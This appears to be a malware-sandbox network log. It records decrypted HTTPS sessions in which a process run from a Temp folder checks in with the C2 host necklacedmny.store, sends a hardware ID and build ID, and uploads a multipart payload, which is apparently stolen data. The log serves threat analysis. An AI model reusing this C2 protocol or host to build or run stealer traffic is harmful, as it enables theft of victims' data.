2024-10-29 04:03:18 UTC	15331	OUT	Data Raw: b9 e2 1d 06 9a ac c3 05 18 27 e5 85 90 39 5f 7f e0 59 ee cf b9 47 a4 08 80 69 5b 6f a9 03 a9 6e 02 29 d4 a1 8d 26 34 3c cc 09 71 3b 9b bf ce 99 ad 4e 28 35 62 77 4b a1 5e 69 b0 da b1 13 3d b0 a2 55 0f bc 66 f8 fb 0a 09 47 00 0b ac e5 3f 04 d6 17 f8 35 f9 c1 11 44 21 05 e8 b4 2d f0 e7 64 d4 92 b4 39 31 ac 8c 0a ae 18 a8 7a e7 ed b3 32 f4 59 6d 6b 9e 3d f6 9f b7 02 47 18 38 87 9d c1 82 58 5e a0 b9 d0 c2 e4 2f fe 73 1c 87 e2 79 a1 65 f7 39 66 c8 fe ab 90 6e 8d 74 ca b4 a0 4a 54 44 6f f6 66 84 bc 2a 42 9a 59 df 7c 92 1c 31 65 2e f8 ae 42 d3 64 40 c7 a3 24 f2 10 79 cd b3 43 6f fe 43 c1 01 13 bf df 38 23 3d ac 04 50 c1 46 99 02 f8 8a b5 3a 1a 8a c5 80 ad a7 d2 3a 2a 20 97 e0 6b a7 09 7d a4 c1 ad 97 21 86 a5 dc 4e 9c 08 83 99 e2 5d b7 67 5e 8c a7 6e 46 c3 27 41 Data Ascii: '9_YGi[on)&4<q;N(5bwK^i=UfG?5D!-d91z2Ymk=G8X^/sye9fntJTDofBY\|1e.Bd@$yCoC8#=PF:: k}!N]g^nF'A
2024-10-29 04:03:18 UTC	15331	OUT	Data Raw: fc 4d 32 0d 20 ca 3f 7e 7a 22 bc 62 3f 9a 97 b3 69 81 1a b6 27 21 42 6d 66 c5 5a d7 cf 9c 23 2a 3c 23 e7 e3 8e 6d b7 78 ac 95 27 f0 67 b4 cb 54 15 ba fc df 3e 34 23 46 c3 72 fc 57 71 5a b5 84 8c 3f 7c 7e a7 6b 01 5b 55 02 d5 85 7b 12 a8 f5 e3 84 4d e6 d1 a8 f7 e2 5a e3 e0 5b ea 89 b4 10 89 4c e5 09 84 1d 93 62 1f fe 87 2f 4f 91 45 42 b0 4f 9e 2b fb dd 1f dc 7c 2f bf 66 d6 4e 9b a7 cf 4d ab 2c c1 88 1d 86 7b 3d f9 4e 52 c4 d1 49 2d 14 ed de 56 9b d8 68 d8 6f f4 4d bd e6 78 6f 76 76 5b 09 64 ed 20 c2 4f e1 df 90 c0 5f 75 88 fd 33 48 94 82 f1 88 b7 2d 6d 87 70 6a 0a 27 2f 35 bc 33 46 75 95 15 dd 53 c8 49 d4 1c e7 b8 be 4c c2 5b dd 23 cd 1a fa 61 af 9f 93 a1 25 7a 27 c0 6d a5 2c 81 a9 ce a9 02 7f d4 de 32 d7 41 9b 16 93 3c f3 76 03 84 24 78 1b 9c b8 8c bc b8 Data Ascii: M2 ?~z"b?i'!BmfZ#*<#mx'gT>4#FrWqZ?\|~k[U{MZ[Lb/OEBO+\|/fNM,{=NRI-VhoMxovv[d O_u3H-mpj'/53FuSIL[#a%z'm,2A<v$x
2024-10-29 04:03:18 UTC	15331	OUT	Data Raw: 8e e3 16 0f 43 24 50 72 e3 1c df d8 55 0f 89 a0 d7 48 1a ff 3e d1 3f 26 db 06 e5 41 9e 46 b0 c6 5b 63 f5 59 25 42 09 12 fe 85 ac 7f 71 3d a9 5a 09 8d 6d 76 6f 17 2b df 7b ce 21 bd 12 e3 1b 48 20 13 1a ca b4 28 d8 4b 37 08 03 31 da 86 78 a1 86 11 e3 10 df 0e f7 8b 0f b1 97 ea 0c e4 f1 c5 a8 2b e9 84 bb 87 cd 5a bc 2f 3d 20 64 3a f9 b1 7f d3 2d b3 6b 80 5f 14 55 fb df 93 f1 e2 e0 90 e4 a3 dd 7e 83 c2 c5 c0 dd f1 ad 22 98 95 43 4c 90 f2 03 38 be e8 53 5f d4 69 a7 8f 93 be d2 9c 35 45 e9 4b 8d d1 4d 48 d4 40 5a 31 28 1c e2 43 04 28 42 ad 3d fd 16 e1 86 d6 ab 2d 96 52 e7 74 f1 ed 11 b4 00 ef 42 09 f0 14 26 be bb 20 4c ca 7d 84 5d 0c 5a eb 3f 12 63 e8 0f 76 a6 44 fa 9e 37 61 14 be 4b 5d b2 da 39 28 5f 74 b8 01 41 7a 82 86 a5 10 62 32 6f 4f 68 fd 94 f2 38 af bf Data Ascii: C$PrUH>?&AF[cY%Bq=Zmvo+{!H (K71x+Z/= d:-k_U~"CL8S_i5EKMH@Z1(C(B=-RtB& L}]Z?cvD7aK]9(_tAzb2oOh8
2024-10-29 04:03:18 UTC	15331	OUT	Data Raw: e4 a8 4c fb 73 8e 86 0a 1d b7 28 c3 2f b1 ca f3 dd fd 30 af ef d9 3e ab 0b c8 60 25 2a 4c 7b 90 1f 44 33 55 ee d4 d2 82 99 8f 70 f8 49 95 76 fb 85 6a 54 59 3d 6b 31 98 9f 87 c4 43 48 f6 1e 05 61 86 b5 7e ee 0b a2 1f ea b7 ca d0 0f ef e1 4c 8a 38 9e da 69 ed 2d 70 91 23 9b 8d 27 e2 15 06 58 63 41 05 5e 66 31 71 d1 b7 2a ac bb 54 07 5b e1 df 2b e2 fb 62 37 c4 6e 76 b3 54 79 83 2a d5 a2 bf 37 99 71 9b f3 1f 5a 8f 0d 3f 74 8f 0a 71 22 d4 ef ef 1f 51 5a 65 2a 87 27 84 a8 85 0c 95 45 21 e8 bb d3 e3 c3 40 59 18 df 0b 78 4d 7a 8e 9f f6 60 79 fd d7 30 6c fe db bb bc 0b e0 26 52 7f 1e 17 02 c7 de db 9b 11 9f 17 23 dd 9b 3e 54 18 fe ae 89 17 28 f8 96 cd 98 38 5c 30 ca 0d 9f 3c a0 47 9d 1c f3 38 fe a4 96 0c f4 c4 a6 01 c2 fd 52 41 19 54 50 51 8d a5 47 21 0b a0 85 cc Data Ascii: Ls(/0>`%L{D3UpIvjTY=k1CHa~L8i-p#'XcA^f1qT[+b7nvTy7qZ?tq"QZe'E!@YxMz`y0l&R#>T(8\0<G8RATPQG!
2024-10-29 04:03:18 UTC	15331	OUT	Data Raw: a5 58 3f 2e 27 ca 47 82 d0 29 3c 8a 51 a7 30 2e 84 c0 4b b0 c5 f5 25 88 12 cc 27 c7 d2 f0 29 3e 2e 0e e2 b2 57 9b 0a 33 f4 e2 43 f8 0f 71 31 28 59 48 7d 41 ac 48 d6 38 62 2e 85 97 50 f9 69 12 ff a6 45 b2 de 28 88 d0 2a 0d ef 7d b8 e6 9a 60 2a 05 7a 4d 2a 50 1a 21 0e b2 11 84 de 9b 7b 58 c9 ad 3f 3e a5 5a 18 1f 58 9f 7a 94 84 d7 10 6e 7f 87 07 c6 49 9b e7 27 f8 ef 93 3f f2 6c 40 f5 81 16 81 f7 85 3a a1 de f3 8a 97 be c6 45 d2 6d 99 0b 11 ee 03 13 a6 7a 9f 83 69 9a e8 1a 23 e3 2e 5d 10 3a ff 73 3a c3 68 20 ea 93 36 c7 75 bc 65 dd a6 65 b3 83 6f 34 a6 55 10 e1 d3 43 fa 81 0b bc 7f cd f8 f5 16 a2 b1 09 fd b1 84 cd a2 ca 89 7a f7 81 64 de 8c 38 eb 57 4f 72 e5 9b c1 cd e7 95 eb 03 36 e5 b4 9b ac 5f 73 0a 05 b4 45 56 10 f7 9c 28 44 5b 1c 22 04 90 32 c3 3e 54 6e Data Ascii: X?.'G)<Q0.K%')>.W3Cq1(YH}AH8b.PiE(}`zM*P!{X?>ZXznI'?l@:Emzi#.]:s:h 6ueeo4UCzd8WOr6_sEV(D["2>Tn
2024-10-29 04:03:28 UTC	1020	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:03:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d949igtvmu0hta6olr2e0aeof9; expires=Fri, 21 Feb 2025 21:49:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KVJfWKZ6qEeLKt4zGEMXrSBoH0FD12zbLg56wFZStLIbleV2wtfFnruHDhWZE2Qj2NPuFbxR7ap015KnsjTqAouU8xkLXrsHwiAYi7aiaUyxF%2FwPjTM743M5%2Fs37YAA7LrtTOvw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da046670c023171-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1355&sent=212&recv=592&lost=0&retrans=0&sent_bytes=2845&recv_bytes=553729&delivery_rate=2098550&cwnd=248&unsent_bytes=0&cid=e0f7365c57176af2&ts=10088&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	50030	188.114.97.3	443	1680	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 04:03:18 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-29 04:03:18 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-29 04:03:19 UTC	1011	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:03:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2b58p2uvsc8kuvnt5nhv609v8j; expires=Fri, 21 Feb 2025 21:49:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TF9rkdqvwaa0vLWsb4kTnB9AbvY4xkqnakS52wMJWARrq8ykbwRgeh1dJ7gsoDxR07aM2oLtGeqb6shNzMvgkWgTE0FVybxFnpWHn4%2BIU6Grxes1vETqWHl%2Fv7tFP7tFGebPDqs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da0466aaffb6b22-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1132&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2423430&cwnd=223&unsent_bytes=0&cid=52203622f8ffb2e4&ts=520&x=0"
2024-10-29 04:03:19 UTC	358	IN	Data Raw: 63 64 30 0d 0a 4e 50 44 52 4e 45 4c 46 36 2f 44 43 6f 77 71 6b 6a 4c 56 51 49 73 4d 2b 71 72 2f 41 6c 45 75 4a 70 35 50 2b 38 62 6b 69 57 64 68 50 30 71 63 57 65 50 48 48 30 72 48 47 4b 4a 37 34 78 79 56 48 37 78 7a 4c 32 2b 4b 75 4c 65 6a 4c 34 4a 76 64 6d 31 51 30 2b 67 36 57 73 46 67 78 6f 4d 66 53 70 39 73 6f 6e 74 66 4f 63 6b 65 74 48 4a 43 64 70 66 34 70 36 4d 76 78 6e 35 72 57 55 6a 57 37 58 4a 79 32 58 43 65 6d 6a 35 47 75 7a 6d 2f 42 36 64 51 36 54 4b 70 54 77 74 4c 69 75 47 6e 73 33 62 48 45 30 2f 52 48 4c 62 6c 35 6b 61 4a 66 59 4c 6a 48 69 2b 44 47 5a 49 61 32 6c 7a 46 48 6f 56 4c 4d 32 36 76 38 49 2b 48 44 38 4a 71 62 79 55 73 2f 73 46 79 53 74 56 30 74 72 35 75 63 70 4d 6c 6b 78 2b 50 55 63 67 37 68 57 39 43 64 2b 72 5a 36 32 63 62 67 6a 59 Data Ascii: cd0NPDRNELF6/DCowqkjLVQIsM+qr/AlEuJp5P+8bkiWdhP0qcWePHH0rHGKJ74xyVH7xzL2+KuLejL4Jvdm1Q0+g6WsFgxoMfSp9sontfOcketHJCdpf4p6Mvxn5rWUjW7XJy2XCemj5Guzm/B6dQ6TKpTwtLiuGns3bHE0/RHLbl5kaJfYLjHi+DGZIa2lzFHoVLM26v8I+HD8JqbyUs/sFyStV0tr5ucpMlkx+PUcg7hW9Cd+rZ62cbgjY
2024-10-29 04:03:19 UTC	1369	IN	Data Raw: 4d 70 6a 77 2f 7a 63 4f 30 32 73 58 4d 58 58 72 66 55 70 37 4d 2f 37 6b 35 6e 66 54 54 61 38 56 70 4c 7a 47 47 43 67 6b 64 4c 34 67 55 76 44 2f 74 41 2b 56 75 4e 6d 69 4d 4c 73 37 32 6e 73 79 62 48 45 30 39 4e 46 4f 4c 6c 64 6e 62 42 65 4b 37 57 4a 67 4b 62 4d 62 64 54 6f 30 6a 78 4b 6f 6b 37 43 30 36 54 31 49 4f 44 4d 39 4a 75 58 6d 77 35 37 76 55 37 53 36 78 59 42 71 6f 4b 65 71 74 5a 6f 68 76 47 5a 4b 77 43 6d 55 49 69 46 34 76 49 6f 37 38 54 31 6b 70 33 66 54 44 32 30 57 35 32 31 58 43 43 67 67 35 71 6f 77 47 58 4e 34 64 63 33 54 61 56 61 78 4e 79 6e 74 6d 65 72 77 75 6e 63 79 35 74 75 50 4c 6c 45 30 49 5a 56 4c 71 6d 4f 68 4f 44 65 4a 74 2b 75 30 44 34 41 2b 52 7a 47 32 4b 33 6b 4b 50 6e 41 2f 34 36 66 33 6b 59 32 75 56 69 53 74 6c 45 74 71 59 2b 56 Data Ascii: Mpjw/zcO02sXMXXrfUp7M/7k5nfTTa8VpLzGGCgkdL4gUvD/tA+VuNmiMLs72nsybHE09NFOLldnbBeK7WJgKbMbdTo0jxKok7C06T1IODM9JuXmw57vU7S6xYBqoKeqtZohvGZKwCmUIiF4vIo78T1kp3fTD20W521XCCgg5qowGXN4dc3TaVaxNyntmerwuncy5tuPLlE0IZVLqmOhODeJt+u0D4A+RzG2K3kKPnA/46f3kY2uViStlEtqY+V
2024-10-29 04:03:19 UTC	1369	IN	Data Raw: 2b 75 30 44 34 41 2b 52 7a 45 31 4b 4c 39 49 2b 2f 46 39 70 47 57 32 45 63 34 74 31 47 59 76 56 45 6b 71 34 43 66 70 73 46 76 77 75 76 46 4e 30 6d 74 55 49 69 54 34 76 45 78 71 35 32 78 73 35 54 4e 51 78 53 35 52 35 76 7a 53 57 36 2b 79 5a 57 73 67 54 43 47 36 64 49 36 53 36 64 55 79 4d 2b 6e 2b 43 4c 71 7a 2f 65 64 6e 74 64 47 4f 37 74 57 6c 4c 39 57 4a 36 43 62 67 4b 58 48 65 73 79 75 6d 58 4a 48 75 52 79 51 6e 5a 54 6d 50 76 72 54 73 36 6d 51 31 55 34 38 72 42 61 4e 2f 55 39 67 6f 49 58 53 2b 49 46 6a 78 75 4c 51 4f 6b 61 6c 56 4d 66 53 71 2b 51 6f 35 38 76 6a 6d 35 50 53 54 6a 53 32 58 35 2b 30 57 79 75 74 68 4a 61 6e 77 43 69 49 72 74 41 71 41 50 6b 63 2f 73 32 76 2b 67 66 67 79 66 6a 63 6a 4a 56 5a 65 37 31 61 30 75 73 57 4a 4b 75 42 6d 4b 2f 49 59 Data Ascii: +u0D4A+RzE1KL9I+/F9pGW2Ec4t1GYvVEkq4CfpsFvwuvFN0mtUIiT4vExq52xs5TNQxS5R5vzSW6+yZWsgTCG6dI6S6dUyM+n+CLqz/edntdGO7tWlL9WJ6CbgKXHesyumXJHuRyQnZTmPvrTs6mQ1U48rBaN/U9goIXS+IFjxuLQOkalVMfSq+Qo58vjm5PSTjS2X5+0WyuthJanwCiIrtAqAPkc/s2v+gfgyfjcjJVZe71a0usWJKuBmK/IY
2024-10-29 04:03:19 UTC	191	IN	Data Raw: 32 52 71 34 63 68 70 32 6c 37 6d 6d 7a 68 64 36 37 70 70 6c 68 41 66 70 4a 33 4b 6f 57 4a 36 76 4a 79 75 44 4e 61 38 72 6d 32 44 52 4a 72 56 62 42 31 71 37 39 4c 65 66 4d 39 4a 71 53 33 6b 55 36 76 6c 71 59 74 56 55 6a 71 49 61 64 71 49 45 6d 68 75 6e 50 63 68 6a 68 65 64 2f 57 72 50 42 70 39 49 76 6f 33 4a 54 58 41 47 50 36 57 70 75 31 55 43 57 72 69 4a 53 6f 78 47 44 43 37 39 45 30 51 36 35 59 7a 64 79 74 38 69 58 6c 7a 2f 43 64 6e 39 42 50 4d 4c 38 57 33 50 4e 52 4f 4f 66 52 30 70 48 43 66 74 48 2b 32 33 4a 66 37 30 57 49 32 71 36 32 63 61 76 45 34 35 61 5a 0d 0a Data Ascii: 2Rq4chp2l7mmzhd67pplhAfpJ3KoWJ6vJyuDNa8rm2DRJrVbB1q79LefM9JqS3kU6vlqYtVUjqIadqIEmhunPchjhed/WrPBp9Ivo3JTXAGP6Wpu1UCWriJSoxGDC79E0Q65Yzdyt8iXlz/Cdn9BPML8W3PNROOfR0pHCftH+23Jf70WI2q62cavE45aZ
2024-10-29 04:03:19 UTC	1369	IN	Data Raw: 33 37 39 63 0d 0a 31 55 55 30 76 31 57 64 74 46 73 6d 71 34 4f 62 71 4d 64 6e 7a 2f 7a 55 50 6b 36 6d 55 73 54 54 72 2f 77 71 35 6f 57 2f 33 4a 54 44 41 47 50 36 65 70 57 2b 65 43 75 72 6a 74 4b 2f 6a 33 47 47 36 64 74 79 47 4f 46 51 77 74 47 72 39 69 44 75 7a 66 71 56 6c 74 70 4c 50 72 6c 51 6e 37 78 66 4d 71 32 4b 6e 4b 50 4e 5a 4d 44 76 31 43 42 49 71 42 79 47 6e 61 58 75 61 62 4f 46 30 4a 4b 65 7a 30 63 72 2b 6b 6e 63 71 68 59 6e 71 38 6e 4b 34 4d 4a 70 79 65 33 57 50 30 61 6f 56 4d 6a 62 70 2f 6b 6b 35 63 4c 32 6e 4a 37 56 54 7a 32 79 57 35 36 34 57 43 6d 68 69 5a 4f 71 67 53 61 47 36 63 39 79 47 4f 46 73 79 39 32 69 37 57 6e 30 69 2b 6a 63 6c 4e 63 41 59 2f 70 45 6d 4c 70 57 49 36 69 4f 6c 71 76 4e 62 63 50 68 31 44 74 46 71 46 4c 61 31 4b 7a 2b 49 Data Ascii: 379c1UU0v1WdtFsmq4ObqMdnz/zUPk6mUsTTr/wq5oW/3JTDAGP6epW+eCurjtK/j3GG6dtyGOFQwtGr9iDuzfqVltpLPrlQn7xfMq2KnKPNZMDv1CBIqByGnaXuabOF0JKez0cr+kncqhYnq8nK4MJpye3WP0aoVMjbp/kk5cL2nJ7VTz2yW564WCmhiZOqgSaG6c9yGOFsy92i7Wn0i+jclNcAY/pEmLpWI6iOlqvNbcPh1DtFqFLa1Kz+I
2024-10-29 04:03:19 UTC	1369	IN	Data Raw: 51 6e 4e 68 50 4f 4c 6c 58 6d 4b 46 45 4c 4b 36 42 6c 36 7a 4b 5a 73 44 38 30 54 31 4a 6f 6c 2f 42 32 71 72 36 49 2b 6a 43 73 64 4c 54 33 46 68 37 34 68 61 78 70 45 59 74 35 35 62 63 75 59 46 76 79 71 36 50 63 6b 69 73 56 4d 4c 5a 70 66 73 75 37 63 7a 6a 6c 5a 62 56 51 44 2b 78 57 5a 53 33 56 53 43 31 6a 35 61 6f 77 6d 58 4c 34 4e 51 32 41 4f 38 63 7a 38 58 69 72 6d 6e 5a 79 50 2b 48 6e 4e 78 52 4d 66 70 4a 33 4b 6f 57 4a 36 76 4a 79 75 44 46 5a 74 54 6c 31 6a 6c 4c 72 31 76 48 32 4b 6a 32 4a 75 2f 47 2f 35 65 53 32 45 67 32 74 31 69 59 75 6c 38 6e 71 34 32 56 34 49 38 6f 77 66 61 58 61 67 43 4b 66 65 58 78 70 65 78 70 39 49 76 6f 33 4a 54 58 41 47 50 36 57 70 75 2f 58 43 75 67 67 35 79 70 7a 32 50 55 2f 4e 51 32 51 36 68 66 7a 39 53 73 39 69 37 75 79 2f Data Ascii: QnNhPOLlXmKFELK6Bl6zKZsD80T1Jol/B2qr6I+jCsdLT3Fh74haxpEYt55bcuYFvyq6PckisVMLZpfsu7czjlZbVQD+xWZS3VSC1j5aowmXL4NQ2AO8cz8XirmnZyP+HnNxRMfpJ3KoWJ6vJyuDFZtTl1jlLr1vH2Kj2Ju/G/5eS2Eg2t1iYul8nq42V4I8owfaXagCKfeXxpexp9Ivo3JTXAGP6Wpu/XCugg5ypz2PU/NQ2Q6hfz9Ss9i7uy/
2024-10-29 04:03:19 UTC	1369	IN	Data Raw: 41 47 50 36 65 35 36 30 66 79 65 38 79 59 33 75 32 43 6a 42 34 70 64 71 41 4b 42 58 77 74 4b 76 39 53 2f 6f 7a 76 53 57 6b 74 78 49 4e 71 68 56 6e 62 78 53 49 4b 69 50 6c 4b 48 4f 62 73 48 6e 31 6a 70 48 34 52 4b 49 32 72 71 32 63 61 76 72 39 70 2b 58 6d 31 39 31 6f 78 61 56 76 78 5a 34 35 34 6d 59 71 73 74 6d 78 75 6e 46 4e 45 6d 68 58 39 72 65 70 50 34 76 35 38 6e 38 6c 4a 72 62 52 54 43 33 58 5a 2b 31 56 69 75 6d 79 64 7a 67 78 6e 43 47 74 70 63 44 54 61 39 59 78 74 36 79 38 57 6e 30 69 2b 6a 63 6c 4e 63 41 59 2f 70 5a 6d 36 46 52 4a 61 2b 41 6b 71 37 49 59 63 48 71 31 44 4e 45 72 56 50 42 33 71 72 33 49 65 54 47 38 5a 65 62 30 55 45 31 76 78 62 63 38 31 45 34 35 39 48 53 6a 38 4a 74 7a 65 2b 56 46 55 61 6d 55 49 6a 43 37 4f 39 70 37 4d 6d 78 78 4e 50 Data Ascii: AGP6e560fye8yY3u2CjB4pdqAKBXwtKv9S/ozvSWktxINqhVnbxSIKiPlKHObsHn1jpH4RKI2rq2cavr9p+Xm191oxaVvxZ454mYqstmxunFNEmhX9repP4v58n8lJrbRTC3XZ+1ViumydzgxnCGtpcDTa9Yxt6y8Wn0i+jclNcAY/pZm6FRJa+Akq7IYcHq1DNErVPB3qr3IeTG8Zeb0UE1vxbc81E459HSj8Jtze+VFUamUIjC7O9p7MmxxNP
2024-10-29 04:03:19 UTC	1369	IN	Data Raw: 33 47 49 76 6c 41 33 74 73 6e 63 34 4d 63 6f 6e 72 36 5a 63 6b 53 77 48 4a 43 4e 38 4b 31 38 75 4a 4b 68 7a 6f 79 56 57 58 75 73 46 73 72 68 47 47 43 31 79 63 72 67 68 6d 76 55 2f 4e 45 78 56 71 49 62 39 75 4f 4d 38 53 2f 75 77 75 48 65 76 64 42 55 50 50 6f 59 30 72 77 57 65 4a 37 4a 32 75 44 2b 4a 6f 62 32 6c 32 6f 41 6c 46 2f 47 30 36 58 67 4f 4b 62 72 39 70 71 57 33 46 42 35 6c 46 32 47 74 42 5a 75 35 34 2f 53 2b 4a 45 6d 68 75 72 47 63 68 6a 78 44 70 4f 49 38 61 46 35 75 64 71 2f 68 64 50 4e 41 47 50 6f 47 4e 4b 68 46 6e 6a 6e 7a 70 47 79 30 32 37 46 2b 4e 52 31 66 70 39 66 33 74 43 74 2f 53 6a 56 2b 39 2b 52 6b 74 68 4f 65 59 74 41 6e 36 4e 56 4a 61 43 33 72 4b 37 47 66 4d 48 67 30 54 49 41 37 78 7a 48 6e 66 72 50 61 61 4f 46 7a 74 4c 54 77 77 42 6a Data Ascii: 3GIvlA3tsnc4Mconr6ZckSwHJCN8K18uJKhzoyVWXusFsrhGGC1ycrghmvU/NExVqIb9uOM8S/uwuHevdBUPPoY0rwWeJ7J2uD+Job2l2oAlF/G06XgOKbr9pqW3FB5lF2GtBZu54/S+JEmhurGchjxDpOI8aF5udq/hdPNAGPoGNKhFnjnzpGy027F+NR1fp9f3tCt/SjV+9+RkthOeYtAn6NVJaC3rK7GfMHg0TIA7xzHnfrPaaOFztLTwwBj
2024-10-29 04:03:19 UTC	1369	IN	Data Raw: 4d 45 50 2b 6d 51 30 72 61 42 4d 4a 53 67 6c 79 41 41 2b 52 79 50 33 72 44 6b 4c 2b 6a 54 38 74 75 74 35 57 63 31 76 56 65 45 6f 31 73 73 68 6f 71 44 71 76 39 57 30 2b 33 5a 50 45 65 33 54 59 69 54 34 76 6c 70 73 2f 79 78 31 4e 50 6b 44 6e 75 69 46 73 72 7a 59 79 4f 70 68 35 57 32 30 43 58 68 34 4e 41 7a 56 72 46 52 78 50 79 68 35 79 4f 72 69 37 47 61 30 34 4d 53 64 66 70 53 67 2f 4d 4f 63 50 58 53 78 2f 4f 57 4f 4a 54 78 6d 53 73 41 74 78 79 51 6a 2b 79 32 4f 36 75 64 73 64 75 51 79 56 49 39 75 55 43 52 39 47 67 65 67 70 36 52 73 4d 64 72 2b 4e 44 38 50 6b 61 6d 52 73 2f 62 68 4e 5a 70 70 59 58 2b 33 4d 76 69 41 48 50 36 61 64 7a 7a 54 6d 44 2f 79 61 65 6a 7a 32 62 42 2b 4d 5a 2f 5a 62 5a 66 32 4e 75 68 74 6d 65 72 77 37 48 45 77 35 55 41 50 36 73 57 79 Data Ascii: MEP+mQ0raBMJSglyAA+RyP3rDkL+jT8tut5Wc1vVeEo1sshoqDqv9W0+3ZPEe3TYiT4vlps/yx1NPkDnuiFsrzYyOph5W20CXh4NAzVrFRxPyh5yOri7Ga04MSdfpSg/MOcPXSx/OWOJTxmSsAtxyQj+y2O6udsduQyVI9uUCR9Ggegp6RsMdr+ND8PkamRs/bhNZppYX+3MviAHP6adzzTmD/yaejz2bB+MZ/ZbZf2Nuhtmerw7HEw5UAP6sWy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50033	188.114.97.3	443	1680	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 04:03:20 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: necklacedmny.store
2024-10-29 04:03:20 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 30 44 32 45 43 39 32 32 33 45 34 39 30 41 31 44 41 38 41 44 44 37 38 30 44 39 44 37 42 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"10D2EC9223E490A1DA8ADD780D9D7B6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 04:03:24 UTC	1015	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:03:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f2i8h95klq9fr6d7qe1jbccahj; expires=Fri, 21 Feb 2025 21:50:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CjRFafgSAmEuKoU%2FPd2j51FMCdwejgEC5uQD4aBnPr13HDanWpMmxwF1PwxtmPz9Oeo1XgjhhgySmIjvmrloykwNlpr5ip5AU5NIp07SAiu88CwAOlwukRuypAq%2F08jcxa31Hb0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da0467798092cbe-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2095&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13782&delivery_rate=1459677&cwnd=246&unsent_bytes=0&cid=5b9e13a2a0fcaf62&ts=4055&x=0"
2024-10-29 04:03:24 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 04:03:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
